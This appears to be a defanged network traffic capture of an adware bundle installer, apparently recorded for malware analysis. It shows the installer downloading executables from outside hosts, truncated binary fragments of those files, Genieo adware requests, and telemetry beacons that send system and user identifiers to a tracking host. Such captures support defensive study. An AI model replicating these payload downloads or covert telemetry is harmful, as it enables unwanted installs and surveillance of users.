HeX,..l..n....PUJ.g$..h.....k*.1....C..?K?..q..l...z]..~..:...y[?ho..I
'`..?0.P..p[....*|Ho..MD.......C.T.z0.g...C...c...A;.pf...%o<.o....
Z.v/.G3?"..g...`."...u...a@!..tWW.].....j.(...)./MU.J>..zJ..!.....s
1l.....>.p....{[..P....6b...$.NR..J.. .ro.n.$(A..T.[.....Q.I..S...&
lt;.v..'@..2a../4...e.......$.....V......1m....N..% {jx@m..%/.....m.5s
..s..[..f.lp.p;.....t..L.i..1.A.;...n..\M...N......D....J.N`-._..s.5..
....aO..G5 s..".9...C.. OA]...1.|.  \.zy_..v....] *.O..S......P...<<< skipped >>>

GET /home/smt_istartsurf.exe HTTP/1.1

Range: bytes=167832-335664

User-Agent: Better Installer(Mozilla)

Host: VVV.girlliuxiaowei.com

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Fri, 15 May 2015 23:02:22 GMT

Content-Type: application/octet-stream

Content-Length: 167833

Last-Modified: Tue, 05 May 2015 03:45:32 GMT

Connection: keep-alive

Expires: Mon, 18 May 2015 23:02:22 GMT

Cache-Control: max-age=259200

Content-Range: bytes 167832-335664/671328
...}..u..x&.........._.....].V.u...u..[&..........^........u......Y...
.#.....V.;.t.3.^]...U...}..u...&..........^.....]..E...t.j..p..0.u....
.....].j.h..H..9z...e..3..u........u...%.........l^...........]....t..
[email protected]...@u..}..G.=....v....}.....u.V.....Y.e..V.....V.....YY.f..
....N....t.....F.j._.-.E...u W..#..Y..u.....H..M.....N..............N.
.~..F....f...E...........E...y....u..{...Y...U...=..H..u..lx...u...v..
h......s..YY][email protected]
..u..6.<.@[email protected][email protected][email protected][email protected]....
u.j..S...Y.......u.j..B...Y.3....u........y.j...u..Y..TpG....I........
.H........y.j...u..Y.......y.j..~u..Yj..Us..Y;.t.P.ku..Y.R....E..t...M
...j.YQPVh..@..|....E.9u.u.P..t....u.....E......M.PQ.....YY..e..E..E..
}..u.P..t....t...E......E...w...............U.... .E.VWj.Y..vG..}....E
..E._.E.^[email protected]$.......t$.......
tN......u........$......$..........~.....3.........t..A...t2..t$.....t
......t....A..L$. ...A..L$. ...A..L$. ...A..L$. .......U..WV.u..M..}..
.....;.v.;.............r..=..I..t.WV......;.^_u...I........u..........
r)...$...B..}..}..E.F.0.E...;_.w.;.v..Rp....k...E._^[....U...E.V.u....
.w.........F...w..........^]...U....w............;[email protected].@].3.]...
U..V.zw...u.;.....u..jw...N.......^]..Yw...........H.;.t....x..u.^]..o
...N..H.....U......T.H..e...M.3..M..E..E..E..E.@.E...B..M..E.d......E.
.E.d......u.Q.u..*......E.d.........Pd.5.....D$. d$.SVW.(...T.H.3.P.u.
.E......E.d......Pd.5.....D$. d$.SVW.(...T.H.3.P.e..u..E......E.d.<<< skipped >>>

GET /cnnnext/dam/assets/150414175002-yemen-aid-plane-icrc-red-cross-large-169.jpg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 41778

Cache-Control: max-age=1660

Expires: Fri, 15 May 2015 23:32:47 GMT

Date: Fri, 15 May 2015 23:05:07 GMT

Connection: keep-alive
......JFIF.............C..............................................
......................C...............................................
............................."........................................
.K........................!..1.."AQa.q.#2B...R....3br...$..4CS...%.5Ds
..c..................................,......................!.1A"2Q..a
q..3B.................?...\IVU.$....j.....z.%t......~.#\...\j.8b...x.N
F??....5lW.`.~(......6..T...._..x....G.h..A#.ln.........d.1..]....1.P-
.....?S..:FY_...kl....#../}KZh.#..-...mER....;o...{..>.Mp2...V>.
..A.7.nJ.1[...b.B.=....F.....E.G3..To.)...h.9r..}......VG.p....k......
...Z......|...$.,J..$.<.n...2O.....D..|d..A.v..~Z.5L5..I9..L.*^2Q}.
..~....u.h.(i.U...0..}...}....d:....,!n7.r...G........:.I.....p.{.z.C.
2.{".....k5....(...>)...oR|.!/...U..G<..L..c.}.......z.j.I..e.BH
.).....?M.....cr..Z.........q.PF.q....=Q}.5.Z..>[email protected]
..Up..C.s.|.......=/[email protected]....<.C....A.c.vZD6d.!..i..<.W.._
..q=........zP ...`d........j.J....JZ6...V..o......chz^.[.....R9......
o.(......L.w.].....|.....|E-....Q..r...1.8....b5.......*7.)`..P....s..
..N..T,.....t.....Zh..$L.....BN.Y..w....8.........|....O...."...vuf>
;$......O...}...&W^ed.q.1.u.M%LO.g.?..W.]..E<..i;..3`......]9^kG.vs
Ym.C[b.K..!.&.F.b.\..<..%C......Fz..*.xU[. .,T...j...-..'o..y.OP.A.
.&8....;[email protected]#........|......
...X.^...A'......V].J.i..i0..o..........aYn2h,y.IREO~.i...$.EL...yd@\.
....3......jt.7..jL..Ki.&h../w.M......t...d.i.......M..GZ..N......<<< skipped >>>

GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=321583-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 964746

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT

Accept-Ranges: bytes

ETag: "b8e31d44765d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Sun, 03 May 2015 00:53:48 GMT

Content-Range: bytes 321583-1286328/1286329

X-Cache: RefreshHit from cloudfront

Via: 1.1 c661b957fae167a13aab464a9ce9b407.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 8wyjXFQPQWgkfMvT6Xg2aSyy8gMa_HvPaL6RexYF6q9xY6z8c3jBlg==
.`../r"k>F-O../......I......(..vWPN.. ...J......."..j&.b.n.........
........V...O_.Zj...~4..T...}TMZ.....y.s.i.....G..b......[.x....,3....
Q....%.'.M.m.}........j..E...........m......>.P....y.x".G.2c....}.'
.Q.....eP../..... h....9.8m(....'}"..(.U.N.....6E.._._&J.rv...iS.....t
...^^!......g..X..$.../...|..l...!.E..Q9..#.$.I...Y..<G............
_.`TKq`....*...E.R...h............H^A.W.2=....%m..9s...p..WS ...n....6
_..U...d...N........*......aqj.......e......f...J.u.4...3...&j.=~..3..
E..x.a....X..".G.J.aQSF1..4.b..O...L.....a.[..,............8..!M......
...#v..$..Gv}h../.6o.x.:/.r..5lF....5W.4..s..\q~.D >{.wJ/..DA S....
MOb....Y'E.0..\Ah.9.....{.:...-)kj[..q.-....n>.IC..2......m-...*f"J
mmVr....".o..n....\O$..V~p*I...x[&..d{......R0.L.>C.Xn....0..]....$
..L..5=k.q.....A.l..I.'..g.....$.....u{.c......).;Ke\H..?.x...8......{
<.p.....=D.........W.....B.R.p.E....U..HM....#..S.3f<r..1|:...N"
P}O..U... .5.JZ..x..>8..m......H....E...N...Y.._.\..x...S..<..*`
=.@[email protected].......)Y.b.@H/..?..n9b......4....x["..i.wH.....c...iP7k.s.r.
........V:;M..=I.d..........K'[email protected]......
..........S....?_..F...#-Of..`:......&.. E..Rg/..{...E..f.....n...O.5.
..'zd..*.T.....A..#!"@.>.......AW...$ra....M....... <O.>l[...
....n...c.g.).*N..A=..[6q..'..2..Zg..h}........'>...^kGT......,i...
.m|y....I..V...D....#.]............s.k...E.x....Z........J?..{m.......
...T.).*.4".....cv._....7S[2O.)<.f&D.`...73t...^{.._k'..{.ref...gS.
..=(..Q.4.4F...O....J.t...9t.;..!OH$S..B....[....9....mS....'.^...<<< skipped >>>

GET /home/smt_istartsurf.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlliuxiaowei.com

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Fri, 15 May 2015 23:02:22 GMT

Content-Type: application/octet-stream

Content-Length: 671328

Last-Modified: Tue, 05 May 2015 03:45:32 GMT

Connection: keep-alive

Expires: Mon, 18 May 2015 23:02:22 GMT

Cache-Control: max-age=259200

Content-Range: bytes 0-671327/671328
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.........*...D...D.
[email protected][email protected][email protected][email protected]...
[email protected]............
[email protected]............
@.......................................... ..............."..`.......
[email protected]................
...............text....P.......R.................. ..`.rdata...^...p..
.`...V..............@[email protected]...$O.......,[email protected].
....... ......................@[email protected]..................
@..B..................................................................
......................................................................
......................................................................
......................................................................
............................................U..j.h.NG.d.....P....T.H.3
.P.E.d......M..E....Q...e.P......M.......E.....j.j..M..K...j.j..M.Q.M.
.K....E......E..M.d......Y..]...U..Q.M..E.P.pn.....P.M..4.....].......
..........U..Q.M.j.j..E.P.M.Q.U.R.M..a.....]..............U..Q.M..M...
....E...]...........U..Q.M..M......P.E.P.M..d...P.M........]........U.
.....M..E..H.;M.r..M......;E.s..M.......U..B. E.;E.s..M..Q. U..U..M...
... E..E..E.;E.s..M..M.... U..E..H. M.;.w..M.......U..B. E. E..E..M..Q
..U. U..U..E..H.;M.s.j..U.R.M..?....E.;E.tS.M.Q.M.......E..E.P.M..<<< skipped >>>

GET /robots.txt HTTP/1.1

Accept-Encoding: gzip,deflate

Host: finance.yahoo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:05:06 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

Last-Modified: Fri, 08 Aug 2014 00:51:29 GMT

Accept-Ranges: bytes

Content-Length: 131

Content-Type: text/plain; charset=utf-8

Vary: X-Ssl

Age: 0

Via: http/1.1 yts265.global.media.ir2.yahoo.com (ApacheTrafficServer [cMsSf ]), http/1.1 r14.ycpi.dea.yahoo.net (ApacheTrafficServer [cMsSf ])

Server: ATS

Connection: keep-alive

User-agent: *.Disallow: /print/.Sitemap: hXXp://finance.yahoo.com/site
map.xml.Sitemap: hXXp://finance.yahoo.com/seo_sm_finance_xml...
..

GET /rss/techticker;_ylt=AgNOUJ4WcWe1kmDTnkJPdaVk7ot4 HTTP/1.1

Accept-Encoding: gzip,deflate

Host: finance.yahoo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 301 Moved Permanently

Date: Fri, 15 May 2015 23:05:06 GMT

Location: hXXp://finance.yahoo.com/rss/techticker

Content-Type: text/html; charset=utf-8

Cache-Control: max-age=0, private

Expires: -1

Vary: Accept-Encoding,X-Ssl

Age: 0

Via: http/1.1 yts249.global.media.ir2.yahoo.com (ApacheTrafficServer [cMsSf ]), http/1.1 r14.ycpi.dea.yahoo.net (ApacheTrafficServer [cMsSf ])

Server: ATS

Transfer-Encoding: chunked

Connection: keep-alive
00000ab..The document has moved <A HREF="hXXp://finance.yahoo.com/r
ss/techticker">here</A>.<P>.<!-- c29.finance.bf1.yah
oo.com uncompressed/chunked Fri May 15 23:05:06 UTC 2015 -->...0..<
/font>....

GET /rss/techticker HTTP/1.1

Accept-Encoding: gzip,deflate

Host: finance.yahoo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 301 Redirect

Date: Fri, 15 May 2015 23:05:06 GMT

Via: http/1.1 yts265.global.media.ir2.yahoo.com (ApacheTrafficServer [c s f ]), http/1.1 r14.ycpi.dea.yahoo.net (ApacheTrafficServer [cMsSf ])

Server: ATS

Cache-Control: no-store

Location: hXXp://finance.yahoo.com/blogs/daily-ticker/rss

Content-Type: text/html

Content-Language: en

Content-Length: 405

Age: 0

Connection: keep-alive
<HTML>.<HEAD>.<TITLE>Error</TITLE>.</HEAD&g
t;..<BODY BGCOLOR="white" FGCOLOR="black">.<!-- status code :
 301 -->.<!-- Error: GET -->.<!-- host machine: yts265.glo
bal.media.ir2.yahoo.com -->.<!-- timestamp: 1431731106.000 -->
;.<!-- url: hXXp://finance.yahoo.com/rss/techticker-->.<H1>
;Error</H1>.<HR>..<FONT FACE="Helvetica,Arial"><B
>.Description: Could not process this "GET" request..</B><
/FONT>.<HR>.</BODY>.....


GET /blogs/daily-ticker/rss HTTP/1.1

Accept-Encoding: gzip,deflate

Host: finance.yahoo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:02:13 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

X-Yahoo-Request-Id: 15iqck9alcunl

X-Frame-Options: SAMEORIGIN

Cache-Control: max-age=300, public

Expires: Fri, 15 May 2015 23:07:13 GMT

Content-Type: text/xml;charset=utf-8

Content-Encoding: gzip

Vary: Accept-Encoding,X-Ssl

Age: 174

Via: http/1.1 yts283.global.media.ir2.yahoo.com (ApacheTrafficServer [cSsSfU]), http/1.1 r14.ycpi.dea.yahoo.net (ApacheTrafficServer [cHs f ])

Server: ATS

Content-Length: 5100

Connection: keep-alive
...........\.v.6...S`z&qr..&{Q/..#[..(.....A..&,...R..U.bn..y.y.<.|
.....d%-%.?."....B.W ....,e..X..;.p=h1.G:V..N.*.|..q.....adn......J...
..V..%...h.....ad.u:c.3..(.y.S.*U........r.Gr....v.J.l_EG.l...[.......
.~...h.I.g.....tO.7...[....QE.R.4..g...-....0.y..u.0j..[..W...{...>
s...{.G.l;M...2#.4.2.l.>}k..&;..[..\cA..W)..ca0.;.p.x....v3.<)..
>.\..T.).K.U..y8]_.l...m............]%.....35.l...6......VM.v....X.
...Y......`sa.L.........6-.(...?....#.'.......$s.....[.=... s.2......;
.....V..6...N.L;....mQ.6....w......7....^...6.=_D..8o.}sw..~...~.w..~.
.F.d....zo..y...=..z...><......^[..T..;..f.m.&.l.n...b*.Q..`C.0.
=>.v#.1... .......W.. [email protected]<...A{S9-[.....O.
.....<..qmA.0.H&......z.Y.Bfq,LLleb..B D.$.b.A.D.....e......X..aLY.
..lZ......0e)-K..dOp......F.UV..eV...S..........@.;-..-....Y...6].....
..csV)0..I.....Nk*R [[ ......6...#..2/.t..R..E..v.....|...l....A..P..8
..A.......T.O...W......A .x..{[email protected]...&..)R.au..3i..d..beg.-e.w=..E.
A5...W:......o[......(A...U...K6.%1..z..:y?.6.S.....W.mR..".[...".....
9m.....ag.t;..R....5....y...q.7.. ....6......Q.."....p.1...J..e..\{]n.
..L..R.>H/..&.P...../A..H7...x."9x8.i....{/....?..t.TOD........[c..
W......._....}.............{{./...>}........<.G....vG..v...}....
.v.Qp....../.0[......./^<.{/...}...F..*.K............G.!..1.TF.."..
O.2.....F..>...p.R.LO.q.$.....1G.h....RHj...P..Pr>..._1 s...:..\
.......r....Ho..D|.0x..'..7.T.../..P@[email protected]...;.t..W...P...h!9.
.........[.....Jg...o.........L{M%.8p.......bs=.......*..:x..6.W..<<< skipped >>>

GET /rss/techticker;_ylt=AgNOUJ4WcWe1kmDTnkJPdaVk7ot4 HTTP/1.1

Accept-Encoding: gzip,deflate

Host: finance.yahoo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 301 Moved Permanently

Date: Fri, 15 May 2015 23:05:07 GMT

Location: hXXp://finance.yahoo.com/rss/techticker

Content-Type: text/html; charset=utf-8

Cache-Control: max-age=0, private

Expires: -1

Vary: Accept-Encoding,X-Ssl

Age: 0

Via: http/1.1 yts210.global.media.ir2.yahoo.com (ApacheTrafficServer [cMsSf ]), http/1.1 r14.ycpi.dea.yahoo.net (ApacheTrafficServer [cMsSf ])

Server: ATS

Transfer-Encoding: chunked

Connection: keep-alive
00000aa..The document has moved <A HREF="hXXp://finance.yahoo.com/r
ss/techticker">here</A>.<P>.<!-- c5.finance.bf1.yaho
o.com uncompressed/chunked Fri May 15 23:05:07 UTC 2015 -->...0..font>....

GET /rss/techticker HTTP/1.1

Accept-Encoding: gzip,deflate

Host: finance.yahoo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 301 Redirect

Date: Fri, 15 May 2015 23:05:07 GMT

Via: http/1.1 yts271.global.media.ir2.yahoo.com (ApacheTrafficServer [c s f ]), http/1.1 r14.ycpi.dea.yahoo.net (ApacheTrafficServer [cMsSf ])

Server: ATS

Cache-Control: no-store

Location: hXXp://finance.yahoo.com/blogs/daily-ticker/rss

Content-Type: text/html

Content-Language: en

Content-Length: 405

Age: 0

Connection: keep-alive
<HTML>.<HEAD>.<TITLE>Error</TITLE>.</HEAD&g
t;..<BODY BGCOLOR="white" FGCOLOR="black">.<!-- status code :
 301 -->.<!-- Error: GET -->.<!-- host machine: yts271.glo
bal.media.ir2.yahoo.com -->.<!-- timestamp: 1431731107.000 -->
;.<!-- url: hXXp://finance.yahoo.com/rss/techticker-->.<H1>
;Error</H1>.<HR>..<FONT FACE="Helvetica,Arial"><B
>.Description: Could not process this "GET" request..</B><
/FONT>.<HR>.</BODY>.....


GET /blogs/daily-ticker/rss HTTP/1.1

Accept-Encoding: gzip,deflate

Host: finance.yahoo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:02:13 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

X-Yahoo-Request-Id: 15iqck9alcunl

X-Frame-Options: SAMEORIGIN

Cache-Control: max-age=300, public

Expires: Fri, 15 May 2015 23:07:13 GMT

Content-Type: text/xml;charset=utf-8

Content-Encoding: gzip

Vary: Accept-Encoding,X-Ssl

Age: 174

Via: http/1.1 yts283.global.media.ir2.yahoo.com (ApacheTrafficServer [cSsSfU]), http/1.1 r14.ycpi.dea.yahoo.net (ApacheTrafficServer [cHs f ])

Server: ATS

Content-Length: 5100

Connection: keep-alive
...........\.v.6...S`z&qr..&{Q/..#[..(.....A..&,...R..U.bn..y.y.<.|
.....d%-%.?."....B.W ....,e..X..;.p=h1.G:V..N.*.|..q.....adn......J...
..V..%...h.....ad.u:c.3..(.y.S.*U........r.Gr....v.J.l_EG.l...[.......
.~...h.I.g.....tO.7...[....QE.R.4..g...-....0.y..u.0j..[..W...{...>
s...{.G.l;M...2#.4.2.l.>}k..&;..[..\cA..W)..ca0.;.p.x....v3.<)..
>.\..T.).K.U..y8]_.l...m............]%.....35.l...6......VM.v....X.
...Y......`sa.L.........6-.(...?....#.'.......$s.....[.=... s.2......;
.....V..6...N.L;....mQ.6....w......7....^...6.=_D..8o.}sw..~...~.w..~.
.F.d....zo..y...=..z...><......^[..T..;..f.m.&.l.n...b*.Q..`C.0.
=>.v#.1... .......W.. [email protected]<...A{S9-[.....O.
.....<..qmA.0.H&......z.Y.Bfq,LLleb..B D.$.b.A.D.....e......X..aLY.
..lZ......0e)-K..dOp......F.UV..eV...S..........@.;-..-....Y...6].....
..csV)0..I.....Nk*R [[ ......6...#..2/.t..R..E..v.....|...l....A..P..8
..A.......T.O...W......A .x..{[email protected]...&..)R.au..3i..d..beg.-e.w=..E.
A5...W:......o[......(A...U...K6.%1..z..:y?.6.S.....W.mR..".[...".....
9m.....ag.t;..R....5....y...q.7.. ....6......Q.."....p.1...J..e..\{]n.
..L..R.>H/..&.P...../A..H7...x."9x8.i....{/....?..t.TOD........[c..
W......._....}.............{{./...>}........<.G....vG..v...}....
.v.Qp....../.0[......./^<.{/...}...F..*.K............G.!..1.TF.."..
O.2.....F..>...p.R.LO.q.$.....1G.h....RHj...P..Pr>..._1 s...:..\
.......r....Ho..D|.0x..'..7.T.../..P@[email protected]...;.t..W...P...h!9.
.........[.....Jg...o.........L{M%.8p.......bs=.......*..:x..6.W..<<< skipped >>>

HEAD /rss/blogs/daily-ticker/ HTTP/1.1

Accept-Encoding: gzip,deflate

Host: finance.yahoo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 404 Not Found

Date: Fri, 15 May 2015 23:05:07 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

Content-Type: text/html; charset=iso-8859-1

Cache-Control: max-age=0, private

Expires: -1

Vary: Accept-Encoding,X-Ssl

Content-Length: 624

Age: 0

Via: http/1.1 yts289.global.media.ir2.yahoo.com (ApacheTrafficServer [cMsSf ]), http/1.1 r14.ycpi.dea.yahoo.net (ApacheTrafficServer [cMsSf ])

Server: ATS

Connection: keep-alive

....

GET /rss/blogs/daily-ticker/ HTTP/1.1

Accept-Encoding: gzip,deflate

Host: finance.yahoo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 404 Not Found

Date: Fri, 15 May 2015 23:05:08 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

Content-Type: text/html; charset=iso-8859-1

Cache-Control: max-age=0, private

Expires: -1

Vary: Accept-Encoding,X-Ssl

Age: 2

Via: http/1.1 yts236.global.media.ir2.yahoo.com (ApacheTrafficServer [cMsSf ]), http/1.1 r14.ycpi.dea.yahoo.net (ApacheTrafficServer [cMsSf ])

Server: ATS

Transfer-Encoding: chunked

Connection: keep-alive
270..<html>.<meta charset='utf-8'>.<script>.var u='h
ttps://VVV.yahoo.com/?err=404&err_url=http://finance.yahoo.com%2
frss/blogs/daily-ticker/';.if(window!=window.top){.  document.wr
ite('<p>Content is currently unavailable.</p><img src="
//geo.yahoo.com/p?s=1197757039&t=' new Date().getTime() '&_R=' encodeU
RIComponent(document.referrer) '&err=404&err_url=' u '" width="0px" he
ight="0px"/>');.}else{.  window.location.replace(u);.}.</script&
gt;.<noscript><META http-equiv="refresh" content="0;URL='http
s://VVV.yahoo.com/?err=404&err_url=http://finance.yahoo.com/rs
s/blogs/daily-ticker/'"></noscript>.</html>...0..
....


GET /rss/blogs/daily-ticker/ HTTP/1.1

Accept-Encoding: gzip,deflate

Host: finance.yahoo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 404 Not Found

Date: Fri, 15 May 2015 23:05:08 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

Content-Type: text/html; charset=iso-8859-1

Cache-Control: max-age=0, private

Expires: -1

Vary: Accept-Encoding,X-Ssl

Age: 0

Via: http/1.1 yts291.global.media.ir2.yahoo.com (ApacheTrafficServer [cMsSf ]), http/1.1 r14.ycpi.dea.yahoo.net (ApacheTrafficServer [cMsSf ])

Server: ATS

Transfer-Encoding: chunked

Connection: keep-alive
270..<html>.<meta charset='utf-8'>.<script>.var u='h
ttps://VVV.yahoo.com/?err=404&err_url=http://finance.yahoo.com%2
frss/blogs/daily-ticker/';.if(window!=window.top){.  document.wr
ite('<p>Content is currently unavailable.</p><img src="
//geo.yahoo.com/p?s=1197757039&t=' new Date().getTime() '&_R=' encodeU
RIComponent(document.referrer) '&err=404&err_url=' u '" width="0px" he
ight="0px"/>');.}else{.  window.location.replace(u);.}.</script&
gt;.<noscript><META http-equiv="refresh" content="0;URL='http
s://VVV.yahoo.com/?err=404&err_url=http://finance.yahoo.com/rs
s/blogs/daily-ticker/'"></noscript>.</html>...0..

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRsif7263KedmR2MLuYKv9+WQCtWAQU1A1lP3q9NMb+R+dMDcC98t4Vq3ECECVRccvD8Qb29B4D63fPT+k= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.thawte.com


HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1396

content-transfer-encoding: binary

Cache-Control: max-age=537276, public, no-transform, must-revalidate

Last-Modified: Fri, 15 May 2015 04:20:07 GMT

Expires: Fri, 22 May 2015 04:20:07 GMT

Date: Fri, 15 May 2015 23:06:18 GMT

Connection: keep-alive
0..p......i0..e.. .....0.....V0..R0......Qw.}`[email protected]
5042007Z0s0q0I0... ........l....r.vdv0..*.~Y..X....e?z.4..G.L.......q.
.%Qq.........w.O.....20150515042007Z....20150522042007Z0...*.H........
[email protected].,*..u..C...V..G@.[....BwQg.J.m._.]....2..0c%..
.v6.!_...!..~.b.-$..EF..7..;#:.J=.0... ...o>......]'.. .....M...k..
....d......{2.t../) .5-..]..=..2.uvK..S2.5p!hF......?..Ck...1^.{......
.C>.0..X....N......o....>k}..h.L.H...d!v...0..Q..:...k....0...0.
..0..y.......^..........N...)0...*.H........0J1.0...U....US1.0...U....
Thawte, Inc.1$0"..U....Thawte Code Signing CA - G20...150303000000Z..1
50601235959Z0Y1.0...U....US1.0...U....Thawte, Inc.1301..U...*Thawte Co
de Signing CA - G2 OCSP Responder0.."0...*.H.............0............
).Z.......O.~.l...,\.3.".'.'W .ih./..}OA...K...HJd....K^..<.....-.r
WJ.j.U.._......W.../.6....J.y.u-.\...2..U.52B.>...=F...RbR.y.zm....
...{b.bj....Y..J..m...*=.^......V.}p......rmA......9.L ...{?.g.-Y.....
.......8...k.$.:.5..6#4..F.#....t.B.8.O)'F.p).........d0b0...U....0.0.
..U.%..0... .......0...U........0... .....0......0"..U....0...0.1.0...
U....TGV-B-32450...*.H..............C.....8.Aw.{....`...y1N...W4M..M.J
.3~..7#}..X..:x..5....$...Z^%.?6..e...}I.)....... .A.w......_...B..j.T
..Yu.o.....g....H....q.Ju.SA`K.....~..O_.....S....I>..O.X..E.......
]...y..L..F....K......../...._XSk6.:a};.?`...:^.....p....4Z.3L;.......
t....>.....j....<<< skipped >>>

GET /utility.gif?report=fdata&f=1&c=000171&i=100&n=init_start_funnel_step_name&rnd=1431730972 HTTP/1.1

Host: errors.basememlog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: b2dRUEU/sj3zLZCrZPb3a432FNSUksn3NiTVYyQLaF75UsBdlVr2R9yCmfgYV4GZreEqfNo2Faw=

x-amz-request-id: A23BCDA70DB3EF35

Date: Fri, 15 May 2015 23:02:54 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Sun, 10 May 2015 14:05:57 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: b2dRUE
U/sj3zLZCrZPb3a432FNSUksn3NiTVYyQLaF75UsBdlVr2R9yCmfgYV4GZreEqfNo2Faw=
..x-amz-request-id: A23BCDA70DB3EF35..Date: Fri, 15 May 2015 23:02:54 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Sun, 10 May 2015 14:05:57 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;
....


GET /installer-error.gif?action=sesamy&app=70121&appver=0&ver=1_36_01_22&version_date=15-05-15&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=7D10842229D84798A10F86FEE6A717A0PI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNUZ6dHNtdHljMCxkMzdmMmFjZi0zNmIxLTQ0YTctODJlNS0xOGNkNDBkNGQ5ZTcsIiwidW5xIjoiZDM3ZjJhY2YtMzZiMS00NGE3LTgyZTUtMThjZDQwZDRkOWU3In19&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&error=0&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&procstarttime=1431730972&procruntime=3&rnd=1431730975 HTTP/1.1

Host: errors.basememlog.com

Connection: Keep-Alive

